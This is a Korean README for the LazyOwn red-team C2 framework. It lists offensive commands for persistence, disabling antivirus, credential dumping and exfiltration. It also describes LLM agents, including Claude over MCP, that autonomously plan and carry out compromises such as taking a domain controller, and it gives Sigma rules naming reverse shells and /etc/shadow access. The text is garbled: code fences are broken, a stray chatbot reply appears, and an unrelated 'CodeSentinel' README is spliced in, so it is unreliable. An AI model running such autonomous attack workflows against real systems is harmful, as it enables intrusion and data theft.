[![ko-fi](https://ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/Y8Y2Z73AV)


LazyOwn은 어떠한 보증도 제공하지 않습니다. 이는 자유 소프트웨어이며, GNU General Public License v3의 조건에 따라 재배포할 수 있습니다.
이 소프트웨어의 사용에 대한 자세한 내용은 LICENSE 파일을 참조하십시오.

 # LazyOwn RedTeam Framework v0.2.161

LazyOwn은 침투 테스터, 레드팀, 보안 연구원을 위해 구축된 전문 레드팀 프레임워크이자 Command & Control (C2) 플랫폼입니다. 741개의 CLI 명령, 126개의 별칭, AI 에이전트를 위한 153개의 MCP 도구, 다중 운영자 웹 C2 대시보드, 그리고 Linux, Windows, macOS, BSD 전반의 전체 킬 체인을 아우르는 137개의 YAML/Lua 플러그인 통합을 제공합니다.

**v0.2.161의 새로운 기능:** YARA 규칙 + Nuclei 템플릿이 포함된 통합 마켓플레이스, `auto_pwn` 자율 익스플로잇, 위협 정보 기반 정찰을 위한 `hunt` 명령, 명령 후 팁 엔진, 자동 세션 데이터 암호화, 게임화된 ELO/배지, 그리고 7개의 새로운 APT 플레이북.

## 세 개의 명령으로 시작하기

처음이신가요? 이것이 전체 진입 경로입니다. 전체 안내: [`QUICKSTART.md`](https://github.com/grisuno/lazyown/blob/main/QUICKSTART.md).```bash
git clone https://github.com/grisuno/LazyOwn.git && cd LazyOwn
bash install.sh        # virtualenv + pinned dependencies + C2 certificates
./run                  # launches the shell; first run offers the setup wizard

그런 다음, `(LazyOwn) >` 셸 안에서:```text
doctor          # preflight: verifies Python, venv, packages, certs, SecLists, tools
wizard          # guided config (auto-detects lhost, walks 8 steps incl. LLM provider)
ping            # confirm the target is up and detect its OS
lazynmap        # full port + service scan

---

## 다중 운영자 협업

LazyOwn의 협업 레이어는 Server-Sent Events(SSE)를 통해 실시간 팀 서버 기능을 제공합니다. `lazyc2.py`가 시작될 때 자동으로 활성화됩니다.

**브라우저 대시보드** — 팀 내 모든 브라우저에서 열 수 있습니다:```
https://<lhost>:<c2_port>/collab/?operator=<your_handle>

**모든 운영자에게 발견 사항 게시**:```bash
curl --insecure -sk -X POST https://<lhost>:<c2_port>/collab/publish \
  -H "Content-Type: application/json" \
  -d '{"type":"finding","operator":"alice","payload":{"target":"10.10.11.5","detail":"root via CVE-2024-xxxx"}}'

| 엔드포인트 | 메서드 | 설명 |
|---|---|---|
| `/collab/` | GET | 다중 운영자 브라우저 대시보드 |
| `/collab/stream?operator=<name>` | GET (SSE) | 실시간 이벤트 스트림 |
| `/collab/operators` | GET | 활성 운영자 목록 |
| `/collab/publish` | POST | 구조화된 이벤트 브로드캐스트 |
| `/collab/lock` | POST | 권고 대상 잠금 획득 |
| `/collab/unlock` | POST | 대상 잠금 해제 |
| `/collab/locks` | GET | 모든 활성 잠금 |
| `/collab/history?n=100` | GET | 최근 N개 이벤트 |

CLI에서: `collab_join <handle>`은 주어진 운영자에 대한 모든 URL을 출력합니다.

---

## MCP 빠른 시작

LazyOwn은 Model Context Protocol(MCP)을 통해 전체 프레임워크를 노출합니다. 동일한 서버가 Claude Code, Claude Desktop, Hermes Agent, OpenCode와 함께 작동합니다 — 환경에 맞는 통합을 선택하세요.

### Claude Code```bash
bash scripts/setup_hermes_mcp.sh

슬래시 명령어 설치(선택 사항):```bash
cp skills/lazyown.md ~/.claude/commands/lazyown.md

그런 다음 Hermes에서 `/reload-mcp`로 MCP 도구를 다시 로드하세요.

전체 Hermes 통합 가이드는 `skills/hermes-lazyown/README.md`를 참조하세요.

### OpenCode

LazyOwn은 **LazyOwnOpenCodeAdapter**를 통해 OpenCode 친화적입니다:```bash
git clone https://github.com/grisuno/LazyOwnOpenCodeAdapter.git
cd LazyOwnOpenCodeAdapter && npm install
npm run build

색상 이름은 `ColorRegistry`에 대해 검증되고 글리프 문자는
`GlyphRegistry`에 대해 검증됩니다. 알 수 없는 값은 조용히
팩토리 기본값으로 폴백되므로 잘못된 페이로드가 프롬프트를
깨뜨리는 일은 결코 없습니다.

### 그래프 인식 내비게이션 — graphify의 운영자 + 에이전트 UX

`cli/graph_advisor.py`는 LazyOwn 소스 트리에 대해
[`/graphify`](https://graphify.dev)가 생성한 지식 그래프
(`graphify-out/graph_lazyown.json` — 약 1500개 노드, 약 2900개 엣지, 14개
커뮤니티)를 로드하여 cmd2 셸과 MCP 서버 모두에 노출합니다. 이
어드바이저는 단일 파일 SOLID 스택입니다 — `GraphLoader`(mtime 캐시 파일
IO), `GraphIndex`(인메모리 인접성 / 차수 / 커뮤니티 인덱스),
`GraphScorer`(순수 랭킹 프리미티브), `GraphAdvisor`(오케스트레이터) —
모든 상수는 `GraphAdvisorConfig` 데이터클래스에 유지됩니다.

**운영자 명령 (cmd2 셸)**

| 명령 | 목적 |
|---------|---------|
| `graph_search <query> [limit]` | 레이블, id 또는 소스 파일로 노드를 퍼지 검색합니다. |
| `neighbors <node> [depth] [limit]` | 엣지 관계 / 신뢰도와 함께 노드에서 바깥으로 그래프를 순회합니다. |
| `god_nodes [N]` | 가장 많이 연결된 노드 — 프레임워크의 핵심 추상화 — 를 표시합니다. |
| `suggest_next [seeds…] [N]` | 최근 활동에서 바깥으로 순회하여 다음 명령을 추천합니다. 시드가 없으면 `sessions/LazyOwn_session_report.csv`를 읽어 거기서 시드를 가져옵니다. |

셸의 `default()` 훅은 이제 알 수 없는 `do_*` 명령을 동일한 어드바이저 +
기존 `FuzzyCommandIndex`를 통해 처리하므로, `ddo_lazynmap`을 입력한
운영자는 토스트가 뜨기 전에 즉시 *"Did you mean: do_lazynmap, do_lazynmap_quick, …?"*를
보게 됩니다.

**MCP 도구 (Claude Code, Claude web, 모든 MCP 에이전트)**

| 도구 | 목적 |
|------|---------|
| `lazyown_graph_summary` | 노드 / 엣지 / 커뮤니티 개수와 확인된 그래프 경로. |
| `lazyown_graph_search` | `budget_tokens` 상한이 있는 퍼지 노드 검색으로, JSON 응답이 에이전트의 컨텍스트 윈도우를 결코 초과하지 않습니다. |
| `lazyown_graph_neighbors` | 엣지 관계와 신뢰도를 포함한 계층적 인접성 순회 — 정형화된 "X는 무엇에 의존하는가?" 질의. |
| `lazyown_graph_suggest_next` | 다음 단계 추천. 명시적 `recent` 목록을 받거나 세션 트랜스크립트를 읽습니다. |

모든 MCP 그래프 도구는 `budget_tokens`(기본 1500)에 맞추기 위해
리스트 필드를 제자리에서 잘라냅니다. 그래프가 없으면 모든 도구는
크래시하는 대신 `{"available": false, "reason": "..."}`를 반환합니다 —
운영자는 `/graphify .`를 한 번 실행하라는 안내를 받고, 그러면 모든 것이
작동하기 시작합니다.

어드바이저는 `(path, mtime)`으로 캐시하므로, 셸이나 MCP 서버를
재시작하지 않고도 다음 CLI 명령 또는 MCP 호출 시 새로운 `/graphify`
재빌드가 자동으로 반영됩니다. 로더, 인덱스, 스코어러 및 전체 어드바이저
API를 다루는 20개의 단위 테스트는 `tests/test_graph_advisor.py`를
참조하세요.

### 인라인 반응형 힌트 — 비차단 다음 단계 제안

`cli/reactive_hints.py`는 `register_postcmd_hook`을 통해 cmd2
post-command 파이프라인에 연결되어, 다음 프롬프트가 나타나기 전에
모든 명령 출력 아래에 한 줄의 흐린 텍스트를 출력합니다:```
  ↳ do_gobuster · do_enum4linux · do_ffuf

It blocks the shell while open (like `htop` or `lazygit`). Press **Q** or
Ctrl-C to close and return to the cmd2 prompt.

**Layout**```
┌─ LazyOwn RedTeam Dashboard ─────────────────────────────────────────────────┐
│ TARGET 10.10.11.5  ATTACKER 10.10.14.5  DOMAIN target.htb  PHASE RECON  OS  │
├─────────────────────┬─────────────────────────────────┬─────────────────────┤
│  Kill Chain         │  Recent Commands                │  Ops                │
│  ✔ Recon            │  ● lazynmap        2026-05-11   │  Objective:         │
│  ▶ Enum             │  ● ping            2026-05-11   │  Initial Access     │
│  ○ Exploit          │  ● gobuster        2026-05-11   │                     │
│  ○ PrivEsc          │                                 │  Credentials: 0     │
│  ○ Lateral          │                                 │  Hashes: 0          │
│  ○ Exfil            │  Config                         │  Beacons: 0         │
│  ○ Report           │  Target: 10.10.11.5             │                     │
│                     │  C2 Port: 4444                  │                     │
├─────────────────────┴─────────────────────────────────┴─────────────────────┤
│  ↳ next: do_gobuster · do_enum4linux · do_ffuf · do_nikto                   │
└──────────────────────────────────── [Q] Quit  [R] Refresh  [?] Help ────────┘

### 봇 명령어

| 명령어 | 설명 |
|---------|-------------|
| `/start <secret>` | `payload.json`의 C2 secret으로 인증 |
| `/cmd <command>` | 모든 LazyOwn 셸 명령 실행 |
| `/sitrep` | 전체 캠페인 상황 보고 |
| `/config [key] [val]` | payload.json 값 조회 또는 설정 |
| `/addcli <client_id>` | 활성 C2 클라이언트 설정 |
| `/clients` | 온라인 C2 임플란트 목록 |
| `/c2 <command>` | C2 비콘에 명령 전송 |
| `/agent <goal>` | 자율 Groq/Ollama 에이전트 실행 |
| `/delegate <goal>` | Hermes 서브에이전트에 작업 위임 |
| `/cron <schedule> <cmd>` | 반복 LazyOwn 명령 예약 |
| `/status` | 데몬 및 자율 상태 표시 |
| `/stop` | 실행 중인 자율 데몬 중지 |
| `/download <file>` | sessions/에서 파일 다운로드 |
| 문서 업로드 | C2 비콘에 파일 업로드 |

`/` 접두사가 없는 일반 텍스트 메시지는 직접 LazyOwn 명령으로 처리됩니다. 속도 제한(분당 5개 명령)과 세션 타임아웃(30분)이 적용됩니다.

### 아키텍처

봇은 MCP 서버(`skills/lazyown_mcp.py`)와 동일한 PTY 기반 명령 실행을 사용하므로, 모든 LazyOwn 명령, 별칭, 애드온이 직접적인 Python 임포트 없이 작동합니다. 자율 작업(`/agent`, `/delegate`)은 LazyOwn 셸을 통해 Groq 또는 Ollama 에이전트를 생성하고, C2 명령(`/c2`, `/clients`)은 인증된 `/api/command` 및 `/get_connected_clients` 엔드포인트를 사용합니다.

---

## 고급 AI 아키텍처 (MoE + RL + SWAN + Hive Mind)

LazyOwn은 모든 인게이지먼트를 통해 적응하고 개선되는 세계적 수준의 멀티 에이전트 AI 스택을 통합합니다:

### 전문가 혼합 (MoE) — `modules/moe_router.py`

다섯 개의 LLM 전문가가 기능 태그, 기본 가중치, 비용 등급과 함께 등록됩니다:

| 전문가 | 백엔드 | 강점 |
|--------|---------|-----------|
| `groq_fast` | Groq llama-3.1-8b-instant | 정찰, 열거, 신속한 의사 결정 |
| `groq_powerful` | Groq llama-3.3-70b-versatile | 익스플로잇, 포스트 익스플로잇, 복잡한 추론 |
| `groq_deepseek_r1` | Groq deepseek-r1-distill-llama-70b | 권한 상승, 단계별 추론 |
| `ollama_reason` | Ollama deepseek-r1:1.5b | 오프라인, 프라이버시 안전, 상세 분석 |
| `groq_gemma` | Groq gemma2-9b-it | 측면 이동, 자격 증명 분석 |

라우팅은 조정된 가중치에 대해 온도 스케일링된 소프트맥스(`T = max(0.5, 1.5/(1+calls/50))`)를 사용합니다. 가중치는 시간 경과에 따른 전문가별 보상의 지수 이동 평균을 통해 자체 조정됩니다.

### 모델로부터의 강화 학습 (RLM) — `modules/rl_trainer.py`

테이블 형식 Q-러닝은 인게이지먼트 세션에 걸쳐 라우팅 정책을 훈련합니다:```
State:  (task_type, engagement_phase, recent_reward_bucket)
Action: expert_id
Reward: r_raw - λ * detection_prob * |r_raw|    (λ=0.5)
Update: Q(s,a) ← Q(s,a) + α * [r + γ * max_a' Q(s',a') - Q(s,a)]

**탐지 방법:**

| 방법 | 검사 항목 |
|--------|----------------|
| `ai_test` | LazyOwnBT ML 모델 예측 |
| `proc_scan` | 의심스러운 프로세스 이름 |
| `net_scan` | 비정상 연결/포트 |
| `log_analyze` | 인증/syslog 이상 징후 |
| `fim_scan` | 파일 무결성 변경 |
| `redteam_hunt` | 위협 헌팅 패턴 |
| `sigma_rules` | 10개 Sigma 규칙 (mimikatz, reverse shell, privesc, nmap, webshell, /etc/shadow, cron, SMB, exfil, injection) |

**Sigma 규칙 탐지 엔진** (LazyOwnBT `lazyownbt/detection.py`):

| ID | 규칙 | 레벨 |
|----|------|-------|
| LAZYOWN-001 | Mimikatz 자격 증명 덤프 | critical |
| LAZYOWN-002 | 리버스 셸 패턴 | critical |
| LAZYOWN-003 | Sudo를 통한 권한 상승 | high |
| LAZYOWN-004 | Nmap 스캔 탐지됨 | medium |
| LAZYOWN-005 | 웹셸 실행 | critical |
| LAZYOWN-006 | 프로세스 인젝션 | high |
| LAZYOWN-007 | /etc/shadow 접근 | critical |
| LAZYOWN-008 | Cron 지속성 | high |
| LAZYOWN-009 | 측면 이동 SMB | high |
| LAZYOWN-010 | 데이터 유출 | high |

**출력 파일:**
- `sessions/purple_dataset.csv` — ML 학습 데이터셋
- `sessions/purple_audit.jsonl` — 전체 감사 로그
- `sessions/detection_feedback.jsonl` — 오라클 캘리브레이션

**참고:** 프로덕션 사용 시 auditd 로그 포워딩을 통해 실제 SIEM(Wazuh, Elastic SIEM, Splunk)과 통합하십시오. 내장 Sigma 규칙은 오프라인 테스트 전용입니다.

### Hive Mind — `skills/hive_mind.py`

공유 메모리를 갖춘 다중 에이전트 여왕+드론 아키텍처:
- **QueenBrain** (Claude): 고수준 오케스트레이션 + 고위험 작업을 위한 ConsensusProtocol
- **DronePool** (Groq/Ollama): 정찰/익스플로잇/자격 증명/측면 이동/권한 상승 작업의 병렬 실행
- **HiveMemory**: ChromaDB 시맨틱 + SQLite 에피소드 + Parquet 장기 저장소
- **EpisodeReflectionEngine**: `sessions/campaign_lessons.jsonl`로 저장되는 캠페인 후 교훈 추출

### 자율 캠페인 인텔리전스 (ACI) — `skills/aci_planner.py`

**자율적으로 계획하고, 실행하고, 학습하는 최초의 C2 프레임워크.**

ACI는 자연어 참여 목표와 완전한 자율 실행 루프 사이의 간극을 메웁니다.
경쟁 제품(Cobalt Strike, Sliver, Havoc, Metasploit) 중 이를 엔드투엔드로
수행하는 것은 없습니다:```
Operator: "Compromise the domain controller at corp.internal
           starting from a phishing foothold on 10.10.11.5"
         ↓
ACI Planner ──► MITRE ATT&CK decomposition (LLM-backed, static fallback)
                 recon → exploit → exec → privesc → cred → lateral → report
         ↓
ObjectiveStore ─► 20+ concrete objectives injected into sessions/objectives.jsonl
         ↓
auto_loop / autonomous_daemon ─► executes each objective autonomously
         ↓
ACIEngine monitors ─► detects stalled phases (blocked_count ≥ 3)
         ↓
ACIReplan ──► LLM generates alternative techniques for blocked phases
         ↓
ACIReflector ──► appends lessons to sessions/campaign_lessons.jsonl
                 feeds back into the next engagement

**ACI가 다른 도구들과 비교해 독특한 점:**

- Cobalt Strike / Sliver / Havoc은 C2 프레임워크로, 운영자가 모든 단계를 계획한다
- Metasploit은 자동화 기능은 있지만 지능이 없다
- CALDERA는 고정된 ATT&CK 절차를 에뮬레이션하지만 새로운 환경에 적응하지 못한다
- **ACI는 계획하고, 실행하고, 재계획하고, 학습한다 — 지속적으로, 여러 engagement에 걸쳐**

**지속성:**

| 파일 | 내용 |
|------|----------|
| `sessions/aci_plan.json` | 활성 계획: 단계, 목표, 완료 상태 |
| `sessions/aci_history.jsonl` | 완료되거나 중단된 계획의 아카이브 |
| `sessions/campaign_lessons.jsonl` | ACIReflector가 추출한 교훈 |

**CLI 사용법 (독립 실행):**```bash
python3 skills/aci_planner.py plan "Compromise DC" --target 10.10.11.5 --os windows
python3 skills/aci_planner.py status
python3 skills/aci_planner.py replan "technique blocked"
python3 skills/aci_planner.py reflect

데몬에서 SWAN 활성화: 시작하기 전에 `export AUTO_USE_SWAN=1`.

ACI가 데몬으로 공급됨: `lazyown_aci_plan`에 의해 주입된 목표는 Role 1 (ObjectiveLoop)에 의해 자동으로 픽업됩니다 — 추가 구성이 필요하지 않습니다.

### 그래프 기반 추론 — `modules/world_model.py`

NetworkGraph는 발견된 모든 관계(호스트, 서비스, 자격 증명, 신뢰 경로)를 추적하고 정규화된 차수 중심성을 계산하여 피벗 후보를 표면화합니다. 상위 3개 후보는 모든 `to_context_string()` 호출에 주입되어, 자율 루프가 항상 가장 가치 있는 측면 이동 대상을 알 수 있도록 보장합니다.

## 권한 범위 가드

`payload.json`에서 대상을 읽는 레드팀 프레임워크에는 날카로운 모서리가 있습니다: 잘못된 `rhost`가 권한 없는 호스트에 공격 명령을 실행합니다. 범위 가드는 안전망입니다. 모든 대화형 명령은 명령이 실행되기 전에 활성 대상이 승인된 교전 범위에 있는지 확인하는 단일 초크포인트를 통과합니다.```bash
(LazyOwn) > scope add 10.10.11.0/24       # CIDR, bare IP, hostname, or *.corp.local wildcard
(LazyOwn) > scope add dc.corp.local
(LazyOwn) > scope mode enforce            # off | warn (default) | enforce
(LazyOwn) > scope                         # show current scope and posture

**적용된 주요 수정 사항:**
- `anti_forensics.py`, `pivoting.py`, `icmp_server.py`, `resource_script.py`, `command_executor.py`, `postexp_migrated.py`에서 `shell=True` 제거 (22개 인스턴스)
- `persist_migrated.py`, `cloud.py`, `lazyown.py` (4개 인스턴스), `misc_migrated.py`에서 `os.system()` 제거
- `websocket_beacon.py`, `evasive_payload.py`에서 `os.popen()` 제거
- 4개 파일(C2, lateral, exfil, persist)에서 `sshpass -p`를 `sshpass -e` + 환경 변수로 교체
- `phishing_orchestrator.py`에서 하드코딩된 암호화 키 제거 (ENCRYPTION_KEY 필수)
- C2 배너의 XSS를 `html.escape()`로 수정
- 클립보드의 rhost를 통한 명령 주입을 `safe_clipboard_copy()`로 수정
- cmd2 `CMD_ATTR_HELP_CATEGORY`를 `COMMAND_ATTR_HELP_CATEGORY`로 이름 변경 (cmd2 4.2.2 호환)

---

## 명령 기능

LazyOwn은 13개 킬체인 단계에 걸쳐 741개의 명령을 제공하며, CLI와 웹 C2 대시보드 모두에서 사용할 수 있습니다:

| 단계 | 주요 명령 |
|-------|-------------------|
| 정찰 | `lazynmap`, `ping`, `whatweb`, `gobuster`, `ffuf`, `dig`, `dnsenum`, `finalrecon` |
| 열거 | `enum4linux`, `cme`, `bloodhound`, `nuclei`, `kerbrute`, `ldapdomaindump` |
| 익스플로잇 | `auto_pwn`, `hunt`, `ss` (searchsploit), `venom`, `lazymsfvenom`, `searchhash` |
| 포스트 익스플로잇 | `linpeas`, `winpeas`, `blacksandbeacon`, `mimikatzpy`, `disableav` |
| 지속성 | `persist`, `backdoor`, `cron`, `schtask`, `createwebshell` |
| 권한 상승 | `getcap`, `sudo`, `adcs_check`, `privesc_predictor` |
| 자격 증명 접근 | `secretsdump`, `evil`, `getnpusers`, `hashcat`, `john`, `spraykatz` |
| 측면 이동 | `psexec`, `wmiexec`, `ssh_cmd`, `chisel`, `ligolo`, `bloodhound` |
| 유출 | `exfil`, `upload_gofile`, `encrypt`/`decrypt`, `compressdir` |
| C2 | `lazyc2`, `blacksandbeacon`, `createrevshell`, `listener_go` |
| 보고 | `report`, `lazyreport`, `campaign_sitrep`, `timeline`, `dashboard` |
| AI/에이전트 | `auto_loop`, `recommend_next`, `playbook_generate`, `playbook_run`, `orchestrate` |
| 마켓플레이스 | `yara_marketplace`, `nuclei_marketplace`, `marketplace`, `lab` |

핵심 관리: `assign`, `show`, `doctor`, `wizard`, `scope`, `collab_join`, `config_banner`, `palette`, `fz`.

전체 606개 명령 참조는 [`COMMANDS.md`](https://github.com/grisuno/lazyown/blob/main/COMMANDS.md)를, 참여의 80%를 커버하는 18개 명령은 [`ESSENTIALS.md`](https://github.com/grisuno/lazyown/blob/main/ESSENTIALS.md)를 참조하세요.

# Lua 플러그인으로 LazyOwnShell 확장하기

이 문서는 Python의 `cmd2` 프레임워크 위에 구축된 `LazyOwnShell` 애플리케이션의 기능을 Lua 스크립팅을 사용하여 확장하는 방법을 설명합니다. Lua를 사용하면 새로운 명령을 추가하거나, 기존 동작을 수정하거나, 애플리케이션 데이터에 접근할 수 있는 사용자 정의 플러그인을 작성할 수 있습니다.

![image](https://assets.kitploit.com/production/public/readmes/56369/c299c50e76da30a39158e7121eb350b9c906048783727107fb9ca556c5317878/f2fa2be6395535c04e8fe7e5630c65d7112913560e76ea2c6a6e0144be148795-display-v1.webp)

---

## 목차

1. [소개](#introduction)
2. [Lua 플러그인 설정](#setting-up-lua-plugins)
3. [Lua 플러그인 작성](#writing-lua-plugins)
4. [새 명령 등록](#registering-new-commands)
5. [애플리케이션 데이터 접근](#accessing-application-data)
6. [오류 처리](#error-handling)
7. [예제 플러그인](#example-plugins)
8. [모범 사례](#best-practices)

---

## 1. 소개

`LazyOwnShell` 애플리케이션은 사용자가 핵심 Python 코드를 수정하지 않고도 기능을 확장할 수 있도록 Lua 스크립팅을 지원합니다. Lua 스크립트(플러그인)는 `plugins/` 디렉터리에 저장되며 애플리케이션이 시작될 때 자동으로 로드됩니다.

Lua 플러그인은 다음을 수행할 수 있습니다:
- 셸에 새로운 명령을 추가합니다.
- 기존 명령이나 동작을 수정합니다.
- Python에서 노출된 애플리케이션 데이터에 접근하고 조작합니다.

---

## 2. Lua 플러그인 설정

Lua 플러그인을 사용하려면 다음을 확인하세요:

1. Python 환경에 `lupa` 라이브러리를 설치합니다:   ```bash
   pip install lupa

plugins/
     init_plugins.lua
     hello.lua
     goodbye.lua

-- Register the function as a command
register_command("my_command", my_command)

Key Functions
- register_command(command_name, lua_function):
- 셸에 새 명령을 등록합니다.
- command_name: 명령의 이름 (예: hello).
- lua_function: 명령이 호출될 때 실행할 Lua 함수.

3. 새 명령 등록하기

 셸에 새 명령을 추가하려면 다음 단계를 따르세요:

- 명령 로직을 구현하는 Lua 함수를 정의합니다.
- register_command를 사용하여 함수를 명령으로 등록합니다.
- 예: hello 명령 추가하기
- 다음 내용으로 plugins/hello.lua 파일을 생성합니다:   ```lua
 function hello(arg)
     local name = arg or "world"
     print("Hello, " .. name .. "!")
 end

 register_command("hello", hello)

고급 구성```yaml
params:
  - name: "url"
    required: true
    description: "Target URL"
    default: "http://localhost"

  - name: "threads"
    required: false
    default: 4

Parameter Substitution
명령의 {param}을 다음의 값으로 대체합니다:

- 명령 인수

- 기본값

- self.params

- 도움말 통합

help <command>는 YAML 설명을 표시합니다.

템플릿```yaml
name: ""
enabled: true
description: ""

tool:
  name: ""
  repo_url: ""
  install_path: ""
  install_command: ""  # Optional
  execute_command: ""

params:
  - name: ""
    required: true/false
    default: ""
    description: ""

🚨 문제 해결
필수 매개변수 누락: YAML의 필수 필드 확인

설치 실패: 네트워크/git 접근 확인

명령 오류: execute_command 구문 검증


주요 기능:
- 깔끔한 GitHub-flavored 마크다운
- YAML 애드온에만 집중
- 바로 사용 가능한 템플릿 포함
- 매개변수 치환 시스템 문서화
- 문제 해결 팁 제공

특정 예시나 사용 시나리오를 추가해 드릴까요?

![LazyOwnGris3](https://assets.kitploit.com/production/public/readmes/56369/e33455dad0ebc6b7279e64d6befcf165ce82ef5d21df552c9c6207e517842ac6/f44814861f7107d595f4c1c2f543f527ae55c37bbd3146414a6050250ef1c7e4-display-v1.webp)


Reddit의 LazyOwn

LazyOwn으로 펜테스팅 혁신: Linux, MAC OSX, Windows VICTIMS에 대한 침투 자동화

<https://www.reddit.com/r/LazyOwn/>


<https://github.com/grisuno/LazyOwn/assets/1097185/eec9dbcc-88cb-4e47-924d-6dce2d42f79a>

Linux, MacOSX, Windows 시스템을 공격하기 위한 펜테스팅 워크플로 자동화의 궁극적인 솔루션, LazyOwn을 만나보세요. 강력한 도구가 펜테스팅을 단순화하여 더 효율적이고 효과적으로 만들어 줍니다. 이 영상을 시청하여 LazyOwn이 보안 평가를 간소화하고 사이버보안 툴킷을 강화하는 방법을 알아보세요.```sh
LazyOwn> assign rhost 192.168.1.1
[SET] rhost set to 192.168.1.1
LazyOwn> run lazynmap
[INFO] Running Nmap scan on 192.168.1.1
...

2. Python 종속성을 설치합니다:```sh
./install.sh

## 주요 기능

- **다중 소스 수집**: GitHub, GitLab, 로컬 디렉터리, ZIP 아카이브, 단일 파일
- **지능형 분석**: 언어 감지, 프레임워크 식별, 의존성 추출
- **보안 스캐닝**: 시크릿 감지, 취약점 패턴, 안전하지 않은 구성
- **LLM 기반 인사이트**: AI 기반 코드 리뷰 및 아키텍처 분석
- **다중 형식 보고서**: Markdown, JSON, HTML, SARIF 출력
- **CI/CD 통합**: GitHub Actions, GitLab CI, Jenkins 지원
- **확장 가능한 아키텍처**: 플러그인 시스템 및 사용자 정의 분석기

## 설치

### 사전 요구 사항

- Python 3.9 이상
- Git (저장소 복제용)
- 선택 사항: LLM 기반 분석을 위한 OpenAI API 키

### pip 사용

```bash
pip install codesentinel

git clone https://github.com/yourusername/codesentinel.git
cd codesentinel
pip install -e .

docker pull codesentinel/codesentinel:latest
docker run -v $(pwd):/workspace codesentinel/codesentinel analyze /workspace

# 로컬 디렉터리 분석
codesentinel analyze /path/to/project

# GitHub 저장소 분석
codesentinel analyze https://github.com/user/repo

# 특정 출력 형식으로 분석
codesentinel analyze /path/to/project --format json --output report.json

# LLM 기반 분석 활성화
codesentinel analyze /path/to/project --llm --api-key $OPENAI_API_KEY

version: "1.0"

analysis:
  languages:
    - python
    - javascript
    - go
  exclude:
    - "**/node_modules/**"
    - "**/.git/**"
    - "**/vendor/**"
  max_file_size: 1048576  # 1MB

security:
  enabled: true
  checks:
    - secrets
    - vulnerabilities
    - misconfigurations
  severity_threshold: medium

llm:
  enabled: false
  provider: openai
  model: gpt-4
  max_tokens: 4096

output:
  format: markdown
  include_code_snippets: true
  include_recommendations: true

# 도움말 표시
codesentinel --help

# 사용 가능한 명령어 목록
codesentinel --version

# 특정 언어만 분석
codesentinel analyze /path/to/project --languages python,javascript

# 보안 스캔만 실행
codesentinel scan /path/to/project --checks secrets,vulnerabilities

# 두 저장소 비교
codesentinel compare /path/to/repo1 /path/to/repo2

# 대화형 모드 시작
codesentinel interactive

from codesentinel import CodeSentinel

# 분석기 초기화
sentinel = CodeSentinel(
    llm_enabled=True,
    api_key="your-api-key"
)

# 프로젝트 분석
result = sentinel.analyze("/path/to/project")

# 결과 접근
print(f"발견된 문제: {len(result.issues)}")
print(f"코드 품질 점수: {result.quality_score}")

# 보고서 생성
result.export("report.md", format="markdown")
result.export("report.json", format="json")

name: CodeSentinel Analysis

on:
  push:
    branches: [main]
  pull_request:
    branches: [main]

jobs:
  analyze:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      
      - name: Set up Python
        uses: actions/setup-python@v4
        with:
          python-version: '3.11'
      
      - name: Install CodeSentinel
        run: pip install codesentinel
      
      - name: Run analysis
        run: codesentinel analyze . --format sarif --output results.sarif
      
      - name: Upload SARIF
        uses: github/codeql-action/upload-sarif@v2
        with:
          sarif_file: results.sarif

defaults:
  output_format: markdown
  severity_threshold: low
  parallel_workers: 4

llm:
  provider: openai
  model: gpt-4
  temperature: 0.2

logging:
  level: info
  file: ~/.codesentinel/codesentinel.log

export CODESENTINEL_API_KEY="your-api-key"
export CODESENTINEL_LLM_PROVIDER="openai"
export CODESENTINEL_LOG_LEVEL="debug"
export CODESENTINEL_CONFIG_PATH="/custom/path/config.yml"

from codesentinel.analyzers import BaseAnalyzer

class CustomAnalyzer(BaseAnalyzer):
    name = "custom"
    description = "My custom analyzer"
    
    def analyze(self, context):
        issues = []
        # 사용자 정의 분석 로직
        return issues

# 분석기 등록
sentinel.register_analyzer(CustomAnalyzer())

# CodeSentinel 분석 보고서

## 요약
- **파일**: 42
- **코드 줄 수**: 15,234
- **문제**: 7
- **품질 점수**: 85/100

## 보안 문제

### 높음: 하드코딩된 API 키
**파일**: `src/config.py:23`
**설명**: 소스 코드에 API 키가 하드코딩되어 있습니다.
**권장 사항**: 환경 변수 또는 시크릿 관리자 사용

{
  "summary": {
    "files": 42,
    "lines": 15234,
    "issues": 7,
    "quality_score": 85
  },
  "issues": [
    {
      "severity": "high",
      "type": "secret",
      "file": "src/config.py",
      "line": 23,
      "message": "Hardcoded API key detected"
    }
  ]
}

{
  "$schema": "https://json.schemastore.org/sarif-2.1.0.json",
  "version": "2.1.0",
  "runs": [
    {
      "tool": {
        "driver": {
          "name": "CodeSentinel",
          "version": "1.0.0"
        }
      },
      "results": []
    }
  ]
}

# OpenAI로 LLM 분석 활성화
codesentinel analyze /path/to/project \
  --llm \
  --provider openai \
  --model gpt-4 \
  --api-key $OPENAI_API_KEY

# 로컬 LLM 사용 (Ollama)
codesentinel analyze /path/to/project \
  --llm \
  --provider ollama \
  --model codellama \
  --endpoint http://localhost:11434

# .codesentinel/rules/custom-rules.yml
rules:
  - id: CUSTOM001
    name: "금지된 함수 사용"
    description: "eval() 함수는 사용하지 마세요"
    severity: high
    pattern: "eval\\("
    languages: [python, javascript]
    message: "eval() 사용은 보안 위험을 초래합니다"
    remediation: "안전한 대안을 사용하세요"

from codesentinel.plugins import Plugin

class MyPlugin(Plugin):
    name = "my-plugin"
    version = "1.0.0"
    
    def on_analysis_start(self, context):
        print("분석 시작 중...")
    
    def on_analysis_complete(self, result):
        print(f"분석 완료: {len(result.issues)}개 문제")
    
    def on_issue_found(self, issue):
        # 사용자 정의 처리
        pass

# 플러그인 등록
sentinel.register_plugin(MyPlugin())

pip install --upgrade codesentinel
# 또는
pip install -e .

# 시간 초과 증가
codesentinel analyze /path/to/project --llm --timeout 300

# 또는 더 작은 모델 사용
codesentinel analyze /path/to/project --llm --model gpt-3.5-turbo

# 병렬 워커 감소
codesentinel analyze /path/to/project --workers 2

# 파일 크기 제한 설정
codesentinel analyze /path/to/project --max-file-size 512000

# 상세 로깅 활성화
codesentinel analyze /path/to/project --verbose --log-level debug

# 로그를 파일로 저장
codesentinel analyze /path/to/project --log-file debug.log

# 저장소 복제
git clone https://github.com/yourusername/codesentinel.git
cd codesentinel

# 가상 환경 생성
python -m venv venv
source venv/bin/activate  # Windows: venv\Scripts\activate

# 개발 의존성 설치
pip install -e ".[dev]"

# 테스트 실행
pytest tests/

# 린터 실행
ruff check .
mypy codesentinel/

